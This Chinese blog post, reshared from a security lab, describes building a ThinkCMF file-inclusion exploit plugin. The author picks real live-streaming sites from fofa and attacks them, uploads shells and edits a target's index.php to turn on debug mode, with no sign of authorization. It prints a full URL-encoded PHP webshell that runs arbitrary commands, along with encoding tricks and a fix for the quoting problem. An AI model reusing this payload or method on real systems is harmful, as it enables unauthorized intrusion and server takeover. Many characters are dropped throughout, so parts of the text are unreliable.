poc的故事开始
最近编写个Thinkcmf任意件内容包含漏洞插件,因为之前写过这个漏洞的poc觉着会很简单,此次的只要增强下功能,能上传定义的就拿出曾经写的poc开始改造之旅,先找个境,曾经发好多境外ip的直播站的都是这个框架,所以本地也不搭建了,fofa上直接搜索直播,可以看到很多标,随便寻找个
先poc试下,成功了
访问上传的shell件,可上传成功了,但system危险函数被禁使了,所以上传其它的 ,这次上传个只具有件上传点的件。
问题来了,poc中的payload是公开的,但是怎么构造的呢?
%3c%3f%70%68%70%0d%0a%65%63%68%6f%20%6d%64%35%28%22%54%68%69%6e%6b% 43%4d%46%22%29%3b%0d%0a%20%20%20%20%69%66%28%69%73%73%65%74%28%24% 5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%29%7b%0d%0a%20%20%2 0%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%70%72%65%3e%22%3b %0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%63%6d%64%20%3d%20%28 %24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%3b%0d%0a%20%20% 20%20%20%20%20%20%20%20%20%20%73%79%73%74%65%6d%28%24%63%6d%64%29%3 b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%2f %70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%64%69 %65%3b%0d%0a%20%20%20%20%7d%0d%0a%70%68%70%69%6e%66%6f%28%29%3b%0d% 0a%3f%3e
看着payload好像是url编码,去http://tool.chinaz.com/Tools/URLEncode.aspx?qq-pf-to=pcqq.temporaryc2c
解下码,发现可以成功解码
然后再编码下,咋回事怎么和原来的不一样
换个站http://web.chacuo.net/charseturlencode,发现这上有个选 ,对基本字符进编码,也可以对所有字符进url编码,试下对所有字符串进url编码,这下对了。
python3带的urllib.parse.quote只会对些字符串进编码,要想对所有字符串进 url编码,得写个功能,v2ex上有哥问过这个问题了,https://www.v2ex.com/t/352723,问题评论下有答案,试了下是可以的。
接下来就把的件传上去,试下,失败了,竟然失败了,此处有个坑,上传的件中不能单引号,有单引号会上传失败,这个问题困扰我好时间,在伙伴提示下我先上传收集的句话(为什么成功了?后来才知道上传的这个句话是双引号,所以成功了),然后去把标的调试模式打开.对就这么的,直接修改index.php,然后修改调试为真就好
然后浏览器直接发送带单引号的payload,发送过去,可以看到已经有报错了
去看下志件
找到内容后终于知道了原因,这个框架会执这么句话,在这句话中我们写的内容有单引号,外有个单引号,所以php解析错误了。
终于知道原因了,修改poc,这个插件终于写好了,完美,收
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!